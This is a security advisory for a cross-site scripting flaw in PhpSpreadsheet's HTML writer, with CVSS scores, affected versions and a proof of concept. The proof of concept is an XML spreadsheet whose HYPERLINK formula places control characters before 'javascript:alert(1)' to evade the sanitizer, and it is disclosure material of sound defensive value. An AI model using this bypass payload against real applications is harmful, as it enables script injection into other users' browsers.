PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters
Product: PhpSpreadsheet
Version: 3.8.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)
Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow
Exploitation conditions: a user viewing a specially generated xml file
Mitigation: additional sanitization of special characters in a string
Researcher: Igor Sak-Sakovskiy (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.
Listing 4. Source code on the server
<?php
require __DIR__ . '/vendor/autoload.php';
$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName);
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
print($writer->generateHTMLAll());The contents of the xml file - ./doc/file.xml
Listing 5. The contents of the xml file
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"
xmlns:html="http://www.w3.org/TR/REC-html40">
<DocumentProperties xmlns="urn:schemas-microsoft-com:office:office">
<Author>author</Author>
<LastAuthor>author</LastAuthor>
<Created>2015-06-05T18:19:34Z</Created>
<LastSaved>2024-12-25T10:16:07Z</LastSaved>
<Version>16.00</Version>
</DocumentProperties>
<OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office">
<AllowPNG/>
</OfficeDocumentSettings>
<ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel">
<WindowHeight>11020</WindowHeight>
<WindowWidth>19420</WindowWidth>
<WindowTopX>32767</WindowTopX>
<WindowTopY>32767</WindowTopY>
<ProtectStructure>False</ProtectStructure>
<ProtectWindows>False</ProtectWindows>
</ExcelWorkbook>
<Styles>
<Style ss:ID="Default" ss:Name="Normal">
<Alignment ss:Vertical="Bottom"/>
<Borders/>
<Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/>
<Interior/>
<NumberFormat/>
<Protection/>
</Style>
<Style ss:ID="s16">
<NumberFormat ss:Format="General Date"/>
</Style>
</Styles>
<Worksheet ss:Name="Лист1">
<Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1"
x:FullRows="1" ss:DefaultRowHeight="14.5">
<Column ss:AutoFitWidth="0" ss:Width="194"/>
<Row>
<Cell ss:Formula="=HYPERLINK (CHAR(20) & "j" & CHAR(13) & "avascript:alert(1)")"><Data ss:Type="String"></Data></Cell>
</Row>
</Table>
<WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel">
<PageSetup>
<Header x:Margin="0.3"/>
<Footer x:Margin="0.3"/>
<PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/>
</PageSetup>
<Selected/>
<TopRowVisible>1</TopRowVisible>
<Panes>
<Pane>
<Number>3</Number>
<ActiveRow>6</ActiveRow>
</Pane>
</Panes>
<ProtectObjects>False</ProtectObjects>
<ProtectScenarios>False</ProtectScenarios>
</WorksheetOptions>
</Worksheet>
</Workbook>Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.
Figure 4. Generating a link bypassing a regular expression
In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.
Figure 5. Response from the server with a special character
When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.
Figure 6. Executing JavaScript code <img width="595" alt="fig6" src="https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1" />
Credit
Igor Sak-Sakovskiy (Positive Technologies)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | phpoffice/phpexcel | <= 1.8.2 | no fix |
| Composer package | phpoffice/phpspreadsheet | >= 3.0.0, < 3.9.0, < 1.29.9, >= 2.2.0, < 2.3.7, >= 2.0.0, < 2.1.8 | 3.9.0, 1.29.9, 2.3.7, 2.1.8 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
phpoffice/phpexcel, phpoffice/phpspreadsheet- Disclosed
- 03.02.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-r57h-547h-w24f - CC BY 4.0
Vulnerability history: phpoffice/phpexcel
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 23
- First → latest
- 11.2019 02.2025
- Without a fix
- 20
- Exploited in attacks
- 0
Severity breakdown
- High 12
- Medium 10
- Low 1
Disclosures per year
- 2019: 2
- 2020: 0
- 2021: 1
- 2022: 1
- 2023: 0
- 2024: 10
- 2025: 9
- 2026: 0
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PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters this entry
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